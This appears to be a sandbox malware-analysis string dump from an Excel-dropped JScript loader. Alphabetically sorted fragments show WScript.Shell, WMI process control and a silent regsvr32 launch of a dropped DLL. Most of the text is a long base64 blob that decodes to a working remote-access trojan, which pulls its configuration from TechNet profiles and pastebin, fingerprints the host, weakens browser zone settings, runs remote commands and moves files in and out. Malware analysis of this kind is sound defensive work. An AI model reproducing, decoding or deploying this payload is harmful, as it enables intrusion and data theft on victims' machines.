Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oShell : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
out += String.fromCharCode(((c2 & 0xF) << 4) | ((c3 & 0x3C) >> 2));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode(((c3 & 0x03) << 6) | c4)
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
out = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
outFile = this.oFS.OpenTextFile(mockOutPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outParams = proc.ExecMethod_(method.Name, null);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output +
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = this._utf8_decode(output);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
OutputDebugStringA
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OutputDebugStringW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
oWbemLocator : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oWS = new ActiveXObject('WScript.shell'); oFS = new ActiveXObject('Scripting.FileSystemObject'); oApp = new ActiveXObject('Shell.Application');randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbG
Ansi based on Runtime Data (EXCEL.EXE )
oWS.run('regsvr32 /s "'+tempDir+'\\'+randName+'.dll"', 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
password.name = this.pName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
password.value = this.id.split("").reverse().join("");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pCreate:function(CommandLine){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pExists:function(processId){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pId : 'password',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pid = this.pCreate('cscript /E:JScript /nologo "'+scriptFilePath+'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pInfo:function(pid, query){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKill:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKillTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pList:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pName : 'password',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[j];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ProcessIdToSessionId
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
procList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
procList.push(proc);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ProductFiles
Unicode based on Runtime Data (EXCEL.EXE )
ProductName
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
property = pe.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
property = proc.Properties_.item(bander) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proxy:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
putRes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
qSession:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
query = query.replace(/\s/g, '');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
queryArray = query.split(',');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
QueryPerformanceCounter
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
queryStr = 'Select * From Win32_Account where SIDType=1 and LocalAccount=TRUE';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
quit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
randName='~HFYJEZHM';JSCode='dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbGVQYXRoIDogJycsDQoJDQoJYk11dGV4IDogZmFsc2UsDQoJbXV0ZXhGaWxlTmFtZSA6ICdfeG11dGV4XycsDQoJbXV0ZXhGaWxlUGF0aCA6ICcnLA0KCW11dGV4RmlsZSA6IG51bGwsDQoJDQoJYkZvcmV2ZXJUcnkgOiB0cnVlLA0KCXJldHJ5SW50ZXJ2YWwgOiAxMDAwKjYwKjI1LA0KCXJldHJ5VGltZSA6IDMsDQoJYkZpcnN0VHJ5IDogdHJ1ZSwNCgkNCglpbml0VXJsIDogJ2Fib3V0OmJsYW5rJywNCglqbXBVcmw6ICcnLA0KCWptcFVybExpc3QgOiBbJ2h0dHBzOi8vc29jaWFsLnRlY2huZXQubWljcm9zb2Z0LmNvbS9Qcm9maWxlL3RlY2huZXR4dWtiYWt1cHNlJywnaHR0cHM6Ly9zb2NpYWwudGVjaG5ldC5taWNyb3NvZnQuY29tL1Byb2ZpbGUvdGVjaG5ldHh1aycsJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vUmpONGFQWWInXSwNCglqbXBSZWdleCA6IC9sa2hkPT1hZD1uZiguKj8pPWxramY9a24vLA0KCWNvZGVSZWdleCA6IC9oZD04N2RzKC4qPyk9ZGRmaGsvLA0KCWluaXRDb2RlIDogJycsDQoJZHN0VXJsIDogJycsDQoJDQoJbG9naW5Gb3JtSWQgOiAnbG9naW5Gb3JtJywNCglsb2dpbkFjdGlvbiA6ICdhamF4LnBocCcsDQoJdUlkIDogJ3VzZXJuYW1lJywNCglwSWQgOiAncGFzc3dvcmQnLA0KCXZJZCA6ICd2YWxpY29kZScsDQoJc0lkIDogJ3N1Ym1pdCcsDQoJdU5hbWUgOiAndXNlcm5hbWUnLA0KCXBOYW1lIDogJ3Bhc3N3b3JkJywNCgl2TmFtZSA6ICd2YWxpY29kZScsDQoJdmFsaWNvZGUgOiAnb21lZ2EnLA0KCXdvcmtGbGFnSWQgOiAnd29ya0ZsYWcnLA0KCXdvcmtGbGFnWWVzIDogJ1knLA0KCXdvcmtGbGFnTm8gOiAnTicsDQoJaWRsZVNlY29uZEJlZm9yZUZyZXNoIDogNjAqMzAsDQoJDQoJY2FzZVJlYXV0aCA6ICdyZWF1dGgnLA0KCWNhc2VFeGVjQ21kIDogJ3h4eCcsDQoJY2FzZURvd25GaWxlIDogJ2RkZCcsDQoJY2FzZVVwRmlsZSA6ICd1dXUnLA0KCWNhc2VDb2RlIDogJ2NjYycsDQoJY2FzZURvd25GaWxlRGF0YSA6ICdkZHQnLA0KCXNwbGl0Q2hhciA6ICd8JywNCgkNCglkb3duRmlsZSA6ICcnLA0KCWRvd25TdGFydCA6ICcnLA0KCWRvd25FbmQgOiAnJywNCglkb3duU2l6ZSA6IDAsDQoJZG93bkluZGV4IDogMCwNCglkb3duQ291bnQgOiAwLA0KCWRvd25PbmNlIDogMTAyNCAqIDIwMCwNCglkb3duSW50ZXJ2YWwgOiA1LA0KCWRvd25PayA6IHRydWUsDQoJDQoJdXBGaWxlIDogJycsDQoJdXBTdGFydCA6ICcnLA0KCXVwRW5kIDogJycsDQoJdXBTaXplIDogMCwNCgl1cEluZGV4IDogMCwNCgl1cENvdW50IDogMCwNCgl1cE9uY2UgOiAwLA0KCXVwSW50ZXJ2YWwgOiA1LA0KCXVwT2sgOiB0cnVlLA0KCQ0KCW9JRSA6IG51bGwsDQoJb1NoZWxsIDogbnVsbCwNCglvTmV0IDogbnVsbCwNCglvRlMgOiBudWxsLA0KCW9TQSA6IG51bGwsDQoJb1diZW1Mb2NhdG9yIDogbnVsbCwNCglvQ2ltdjIgOiBudWxsLA0KCXRtcERpciA6ICcnLA0KCXN0YXJ0dXBEaXIgOiAnJywNCglhbGxTdGFydHVwRGlyIDogJycsDQoJZGlycyA6ICcnLA0KCW9zQml0IDogJycsDQoJaWQgOiAnJywNCgkNCglCYXNlNjRfTW9ja0RsbDMyIDogJycsDQoJQmFzZTY0X01vY2tEbGw2NCA6ICcnLA0KCQ0KCWFkb0NvbiA6IG51bGwsDQoJYWRvUmVjIDogbnVsbCwNCgkNCgkvKioqKioqKioqKioqKiBCYXNpYyAqKioqKioqKioqKioqLw0KCXNob3dPYmo6ZnVuY3Rpb24ob2JqKXsNCgkJdmFyIHJlcyA9ICcnOw0KCQlmb3IodmFyIGkgaW4gb2JqKXsNCgkJCXJlcyArPSBpKyI6ICIrb2JqW2ldKycsXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCglkb3duSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ2Rvd25TdGFydD0nK3RoaXMuZG93blN0YXJ0KydcbmRvd25FbmQ9Jyt0aGlzLmRvd25FbmQ7DQoJCWluZm8gKz0gJ1xuZG93bkZpbGU9Jyt0aGlzLmRvd25GaWxlKydcbmRvd25TaXplPScrdGhpcy5kb3duU2l6ZTsNCgkJaW5mbyArPSAnXG5kb3duT25jZT0nK3RoaXMuZG93bk9uY2UrJ1xuZG93bkludGVydmFsPScrdGhpcy5kb3duSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMuZG93bkluZGV4KycvJyt0aGlzLmRvd25Db3VudDsNCgkJaW5mbyArPSAnXG5kb3duT2s9Jyt0aGlzLmRvd25PaysnXG4nOw0KCQlyZXR1cm4gaW5mbzsNCgl9LA0KCXVwSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJCWluZm8gKz0gJ3VwU3RhcnQ9Jyt0aGlzLnVwU3RhcnQrJ1xudXBFbmQ9Jyt0aGlzLnVwRW5kOw0KCQlpbmZvICs9ICdcbnVwRmlsZT0nK3RoaXMudXBGaWxlKydcbnVwU2l6ZT0nK3RoaXMudXBTaXplOw0KCQlpbmZvICs9ICdcbnVwT25jZT0nK3RoaXMudXBPbmNlKydcbnVwSW50ZXJ2YWw9Jyt0aGlzLnVwSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMudXBJbmRleCsnLycrdGhpcy51cENvdW50Ow0KCQlpbmZvICs9ICdcbnVwT2s9Jyt0aGlzLnVwT2srJ1xuJzsNCgkJcmV0dXJuIGluZm87DQoJfSwNCgl0cmFuSW5mbzpmdW5jdGlvbigpew0KCQlyZXR1cm4gdGhpcy51cEluZm8oKSsnXG4nK3RoaXMuZG93bkluZm8oKTsNCgl9LA0KCWdldE9TQml0OmZ1bmN0aW9uKCl7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNlbGVjdCAqIGZyb20gV2luMzJfUHJvY2Vzc29yIikpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWVsZSA9IGUuaXRlbSgpOw0KCQkJcmV0dXJuIGVsZS5BZGRyZXNzV2lkdGg7DQoJCX0NCgkJcmV0dXJuICd1bmtub3duJzsNCgl9LA0KCW5vdzpmdW5jdGlvbigpew0KCQl2YXIgbXlEYXRlID0gbmV3IERhdGUoKTsNCgkJdmFyIG1pbnV0ZSA9IG15RGF0ZS5nZXRNaW51dGVzKCk7DQoJCXZhciBzZWNvbmRzID0gbXlEYXRlLmdldFNlY29uZHMoKTsNCgkJaWYgKHBhcnNlSW50KG1pbnV0ZSkgPCAxMCl7DQoJCQltaW51dGUgPSAiMCIgKyBtaW51dGU7DQoJCX0NCgkJaWYgKHBhcnNlSW50KHNlY29uZHMpIDwgMTApew0KCQkJc2Vjb25kcyA9ICIwIiArIHNlY29uZHM7DQoJCX0NCgkJcmV0dXJuIG15RGF0ZS5nZXRGdWxsWWVhcigpKyItIisobXlEYXRlLmdldE1vbnRoKCkrMSkrIi0iK215RGF0ZS5nZXREYXRlKCkrIiAiK215RGF0ZS5nZXRIb3VycygpKyI6IisgbWludXRlICsiOiIrIHNlY29uZHMNCgl9LA0KCWVyck9ialRvU3RyOmZ1bmN0aW9uKGVycil7DQoJCWlmKHR5cGVvZihlcnIpPT0nb2JqZWN0Jyl7DQoJCQlyZXR1cm4gZXJyLm5hbWUrJzonKyAoZXJyLm51bWJlciAmIDB4RkZGRikudG9TdHJpbmcoKSArICJ8IiArIGVyci5kZXNjcmlwdGlvbjsNCgkJfQ0KCQlyZXR1cm4gJyc7DQoJfSwNCgllcnJMb2c6ZnVuY3Rpb24oZXJyKXsNCgkJdGV4dCA9ICcnOw0KCQlpZih0eXBlb2YoZXJyKT09J29iamVjdCcpew0KCQkJdGV4dCA9IHRoaXMuZXJyT2JqVG9TdHIoZXJyKTsNCgkJfWVsc2UgaWYodHlwZW9mKGVycik9PSdzdHJpbmcnKXsNCgkJCXRleHQgPSBlcnI7DQoJCX0NCgkJZnNvID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7DQoJCW9TaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7DQoJCXRoaXMuZXJyTG9nRmlsZVBhdGggPSBvU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCcldGVtcCUnKSArICdcXF9FcnJvckxvZy50eHQnOw0KCQlmID0gZnNvLk9wZW5UZXh0RmlsZSh0aGlzLmVyckxvZ0ZpbGVQYXRoLCA4LCB0cnVlKTsNCgkJZi5Xcml0ZUxpbmUodGhpcy5ub3coKSsnOicrdGV4dCk7DQoJCWYuQ2xvc2UoKTsNCgl9LA0KCXF1aXQ6ZnVuY3Rpb24oKXsNCgkJdHJ5e3RoaXMub0lFLlF1aXQoKTt9Y2F0Y2goZSl7fQ0KCQl0cnl7V1NjcmlwdC5RdWl0KCk7fWNhdGNoKGUpe30NCgl9LA0KCQ0KCWluaXRCYXNlOmZ1bmN0aW9uKCl7DQoJCXRoaXMub1NoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTsNCgkJdGhpcy5vTmV0ID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuTmV0d29yaycpOw0KCQl0aGlzLm9GUyA9IG5ldyBBY3RpdmVYT2JqZWN0KCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOw0KCQl0cnl7DQoJCXRoaXMub1NBID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoJCXRoaXMuYWRvQ29uID0gbmV3IEFjdGl2ZVhPYmplY3QoJ0FET0RCLkNvbm5lY3Rpb24nKTsNCgkJdGhpcy5hZG9SZWMgPSBuZXcgQWN0aXZlWE9iamVjdCgnQURPREIuUmVjb3Jkc2V0Jyk7DQoJCX1jYXRjaChlKXt9DQoJCXRoaXMub1diZW1Mb2NhdG9yID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1diZW1TY3JpcHRpbmcuU1diZW1Mb2NhdG9yJyk7DQoJCXRoaXMub0NpbXYyID0gdGhpcy5vV2JlbUxvY2F0b3IuQ29ubmVjdFNlcnZlcignLicsICdyb290XFxjaW12MicpOw0KCQl0aGlzLnRtcERpciA9IHRoaXMub1NoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygnJXRlbXAlJyk7DQoJCXRoaXMuc3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdTdGFydHVwJyk7DQoJCXRoaXMuYWxsU3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxGb2xkZXJzKCdBbGxVc2Vyc1N0YXJ0dXAnKTsNCgkJdGhpcy5kaXJzICs9ICd0bXBEaXI6XG4nK3RoaXMudG1wRGlyKydcblxuJzsNCgkJdGhpcy5kaXJzICs9ICdzdGFydHVwRGlyOlxuJyt0aGlzLnN0YXJ0dXBEaXIrJ1xuXG4nOw0KCQl0aGlzLmRpcnMgKz0gJ2FsbFN0YXJ0dXBEaXI6XG4nK3RoaXMuYWxsU3RhcnR1cERpcisnXG5cbic7DQoJCXRoaXMub3NCaXQgPSB0aGlzLmdldE9TQml0KCk7DQoJCXRoaXMubXV0ZXhGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIHRoaXMubXV0ZXhGaWxlTmFtZTsNCgkJDQoJCWlmKHRoaXMuYkRlbGV0ZVNlbGYpew0KCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSk7fWNhdGNoKGUpe30NCgkJfQ0KCQkNCgkJaWYodGhpcy5iTXV0ZXgpew0KCQkJdHJ5ew0KCQkJCUZvclJlYWRpbmcgPSAxOw0KCQkJCUZvcldyaXRpbmcgPSAyOw0KCQkJCUZvckFwcGVuZGluZyA9IDg7DQoJCQkJdGhpcy5tdXRleEZpbGUgPSB0aGlzLm9GUy5PcGVuVGV4dEZpbGUodGhpcy5tdXRleEZpbGVQYXRoLCBGb3JBcHBlbmRpbmcsIHRydWUpOw0KCQkJfWNhdGNoKGVycil7DQoJCQkJV1NjcmlwdC5RdWl0KCk7DQoJCQl9DQoJCX0NCgkJDQoJCXRoaXMuaWQgPSB0aGlzLm9OZXQuQ29tcHV0ZXJOYW1lICsnfCcrIHRoaXMuZ2V0T1NCaXQoKSArJ3wnKyB0aGlzLm9OZXQuVXNlckRvbWFpbiArJ1xcJysgdGhpcy5vTmV0LlVzZXJOYW1lICsnfCc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIFdIRVJFIElQRW5hYmxlZCA9IFRydWUiKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkgICAgdmFyIGVsZSA9IGUuaXRlbSgpOw0KCQkgICAgdGhpcy5pZCArPSBlbGUuTUFDQWRkcmVzcyArICItIiArIGVsZS5JUEFkZHJlc3MoMCkgKyAiLCI7DQoJCX0NCgkJDQoJCXRoaXMuSW5pdE1vY2tEbGwzMigpOw0KCQl0aGlzLkluaXRNb2NrRGxsNjQoKTsNCgkJDQoJCXRoaXMub1NoZWxsLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxab25lc1xcM1xcMTYwMSIsIDAsICJSRUdfRFdPUkQiKTsNCgkJdGhpcy5jcmVhdGVJRSgpLlF1aXQoKTsNCgkJaWYodGhpcy5iRGVidWcpew0KCQkJdGhpcy5yZXRyeUludGVydmFsID0gMTAwMCozOw0KCQl9DQoJfSwNCgkNCgltYWluOmZ1bmN0aW9uKCl7DQoJCXRoaXMub0lFID0gdGhpcy5jcmVhdGVJRSgpOw0KCQl0aGlzLmdldENvbmZpZygpOw0KCQkNCgkJaWYodGhpcy5pbml0Q29kZSE9Jycpew0KCQkJdHJ5e2V2YWwodGhpcy5pbml0Q29kZSk7fWNhdGNoKGVycil7fQ0KCQl9DQoJCQ0KCQlpZih0aGlzLmRzdFVybD09Jycpew0KCQkJcmV0dXJuOw0KCQl9DQoJCXRoaXMudHJ5QXV0aCgpOw0KCQl3b3JrSUUgPSB0aGlzLm9JRTsNCgkJdmFyIGlkbGVUaW1lcyA9IDA7DQoJCXZhciBpID0gMDsNCgkJZm9yKDs7KXsNCgkJCXRoaXMuc2V0V29ya0ZsYWcodGhpcy53b3JrRmxhZ1llcyk7DQoJCQlpZihpZGxlVGltZXMvMj09dGhpcy5pZGxlU2Vjb25kQmVmb3JlRnJlc2gpew0KCQkJCXRoaXMuZnJlc2hJRSh3b3JrSUUpOw0KCQkJCWlkbGVUaW1lcyA9IDA7DQoJCQl9DQoJCQl2YXIgaWRsZVRoaXNUaW1lID0gdHJ1ZTsNCgkJCWlmKCsraT09OTk5OSlpPTA7DQoJCQlXU2NyaXB0LlNsZWVwKDUwMCk7DQoJCQl2YXIgc25kID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmQiKTsNCgkJCXZhciByY3YgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJjdiIpOw0KCQkJdmFyIGRvd24gPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRvd24iKTsNCgkJCXZhciBkb3duQnRuID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkb3duQnRuIik7DQoJCQl2YXIgdXAgPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwIik7DQoJCQl2YXIgdXBJZHggPSB3b3JrSUUuRG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInVwSWR4Iik7DQoJCQlpZighc25kIHx8ICFyY3YgfHwgIWRvd24gfHwgIWRvd25CdG4gfHwgIXVwIHx8ICF1cElkeClicmVhazsNCgkJCQ0KCQkJdHJ5ew0KCQkJCWlmKGklKHRoaXMuZG93bkludGVydmFsKjIpPT0wICYmIGRvd24uaW5uZXJUZXh0Lmxlbmd0aD09MCAmJiB0aGlzLmRvd25JbmRleDx0aGlzLmRvd25Db3VudCAmJiB0aGlzLm9GUy5GaWxlRXhpc3RzKHRoaXMuZG93bkZpbGUpKXsNCgkJCQkJaWRsZVRoaXNUaW1lID0gZmFsc2U7DQoJCQkJCWlmKFdTY3JpcHQuQ3JlYXRlQmxvY2tGaWxlKHRoaXMuZG93bkZpbGUsIHRoaXMuZG93bk9uY2UsIHRoaXMuZG93bkluZGV4KSl7DQoJCQkJCQlmID0gdGhpcy5vRlMuR2V0RmlsZSh0aGlzLmRvd25GaWxlKTsNCgkJCQkJCWRmUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIGYuTmFtZSArICd+JyArIHRoaXMuZG93bkluZGV4Ow0KCQkJCQkJRm9yUmVhZGluZyA9IDE7DQoJCQkJCQlkZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShkZlBhdGgsIEZvclJlYWRpbmcpOw0KCQkJCQkJZG93bkRhdGEgPSBkZi5SZWFkQWxsKCk7DQoJCQkJCQlkZi5DbG9zZSgpOw0KCQkJCQkJdGhpcy5vRlMuRGVsZXRlRmlsZShkZlBhdGgpOw0KCQkJCQkJZG93bi5pbm5lclRleHQgPSB0aGlzLmVuY29kZSh0aGlzLmNhc2VEb3duRmlsZURhdGEgKyBkb3duRGF0YSk7DQoJCQkJCQkrK3RoaXMuZG93bkluZGV4Ow0KCQkJCQkJaWYodGhpcy5kb3duSW5kZXg9PXRoaXMuZG93bkNvdW50KXsNCgkJCQkJCQl0aGlzLmRvd25PayA9IHRydWU7DQoJCQkJCQkJdGhpcy5kb3duRW5kID0gdGhpcy5ub3coKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlkb3duQnRuLmNsaWNrKCk7DQoJCQl9Y2F0Y2goZSl7fQ0KCQkJDQoJCQl0cnl7DQoJCQkJdXBEYXRhID0gdXAuaW5uZXJUZXh0Ow0KCQkJCWlmKGklKHRoaXMudXBJbnRlcnZhbCoyKT09MCAmJiB1cERhdGEubGVuZ3RoPjAgJiYgdGhpcy51cEluZGV4PHRoaXMudXBDb3VudCl7DQoJCQkJCWlkbGVUaGlzVGltZSA9IGZhbHNlOw0KCQkJCQlwdXRSZXMgPSAwOw0KCQkJCQl0cnl7cHV0UmVzID0gV1NjcmlwdC5QdXRCbG9ja1RvRmlsZSh0aGlzLnVwRmlsZSwgdGhpcy51cE9uY2UsIHRoaXMudXBJbmRleCwgdXBEYXRhKTt9Y2F0Y2goZSl7fQ0KCQkJCQlpZihwdXRSZXMpew0KCQkJCQkJKyt0aGlzLnVwSW5kZXg7DQoJCQkJCQlpZih0aGlzLnVwSW5kZXg9PXRoaXMudXBDb3VudCl7DQoJCQkJCQkJdXBJZHguaW5uZXJUZXh0ID0gJy0xJzsNCgkJCQkJCQl0aGlzLnVwT2sgPSB0cnVlOw0KCQkJCQkJCXRoaXMudXBFbmQgPSB0aGlzLm5vdygpOw0KCQkJCQkJfQ0KCQkJCQl9ZWxzZXsNCgkJCQkJCXRoaXMudXBPaz10cnVlOw0KCQkJCQkJdGhpcy51cENvdW50PTA7DQoJCQkJCX0NCgkJCQkJdXAuaW5uZXJUZXh0ID0gJyc7DQoJCQkJfQ0KCQkJCWlmKCF0aGlzLnVwT2spew0KCQkJCQl1cElkeC5pbm5lclRleHQgPSB0aGlzLnVwSW5kZXg7DQoJCQkJfQ0KCQkJfWNhdGNoKGUpe30NCgkJCQ0KCQkJdmFyIHJlY3ZEYXRhID0gcmN2LmlubmVyVGV4dDsNCgkJCWlmKHJlY3ZEYXRhLmxlbmd0aD4wKXsNCgkJCQlpZGxlVGhpc1RpbWUgPSBmYWxzZTsNCgkJCQlyY3YuaW5uZXJUZXh0ID0gJyc7DQoJCQkJaWYocmVjdkRhdGE9PXRoaXMuY2FzZVJlYXV0aCl7DQoJCQkJCXRoaXMudHJ5QXV0aCgpOw0KCQkJCQljb250aW51ZTsNCgkJCQl9DQoJCQkJaWYocmVjdkRhdGEubGVuZ3RoPjMpew0KCQkJCQl0aGlzLnNldFdvcmtGbGFnKHRoaXMud29ya0ZsYWdObyk7DQoJCQkJCXNuZC5pbm5lclRleHQgPSB0aGlzLmNhc2VIYW5kbGVyKHJlY3ZEYXRhKTsNCgkJCQl9DQoJCQl9DQoJCQlpZihpZGxlVGhpc1RpbWUpeysraWRsZVRpbWVzO30NCgkJfQ0KCX0sDQoJDQoJY2FzZUhhbmRsZXI6ZnVuY3Rpb24ocmVjdkRhdGEpew0KCQl2YXIgdG1wID0gdGhpcy5kZWNvZGUocmVjdkRhdGEpOw0KCQljYXNlU3RyID0gdG1wLnN1YnN0cmluZygwLCAzKS50b0xvd2VyQ2FzZSgpOw0KCQlkYXRhID0gdG1wLnN1YnN0cmluZygzKTsNCgkJc3dpdGNoKGNhc2VTdHIpDQoJCXsNCgkJCWNhc2UgdGhpcy5jYXNlRXhlY0NtZDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgdGhpcy5leGVjV2l0aENTY3JpcHQoZGF0YSwgMTApKTsNCgkJCWNhc2UgdGhpcy5jYXNlRG93bkZpbGU6DQoJCQkJdHJ5ew0KCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCWZpbGVQYXRoID0gZGF0YTsNCgkJCQkJZmlsZVNpemUgPSAwOw0KCQkJCQl0cnl7ZmlsZVNpemUgPSB0aGlzLm9GUy5HZXRGaWxlKGZpbGVQYXRoKS5TaXplO31jYXRjaChlKXt9DQoJCQkJCWNvdW50ID0gTWF0aC5mbG9vcihmaWxlU2l6ZS90aGlzLmRvd25PbmNlKSArIChmaWxlU2l6ZSV0aGlzLmRvd25PbmNlPT0wID8gMCA6IDEpOw0KCQkJCQlpZihjb3VudD4wKXsNCgkJCQkJCXRoaXMuZG93bkZpbGUgPSBmaWxlUGF0aDsNCgkJCQkJCXRoaXMuZG93blNpemUgPSBmaWxlU2l6ZTsNCgkJCQkJCXRoaXMuZG93bkNvdW50ID0gY291bnQ7DQoJCQkJCQl0aGlzLmRvd25JbmRleCA9IDA7DQoJCQkJCQl0aGlzLmRvd25PayA9IGZhbHNlOw0KCQkJCQkJdGhpcy5kb3duU3RhcnQgPSB0aGlzLm5vdygpOw0KCQkJCQkJdGhpcy5kb3duRW5kID0gJyc7DQoJCQkJCX0NCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyBmaWxlUGF0aCArICdcbmRvd25Db3VudD0nICsgY291bnQgDQoJCQkJCQkrICdcbmRvd25TaXplPScgKyBmaWxlU2l6ZSArICdcbkRvd25SZXEgUmVjdmVkIScpOw0KCQkJCX1jYXRjaChlKXsNCgkJCQkJcmV0dXJuIHRoaXMuZW5jb2RlKHRoaXMuY2FzZURvd25GaWxlICsgdGhpcy5ub3coKSArICdcbicgKyAnRG93bmxvYWQgTm90IFN1cHBvcnRlZCEnKTsNCgkJCQl9DQoJCQljYXNlIHRoaXMuY2F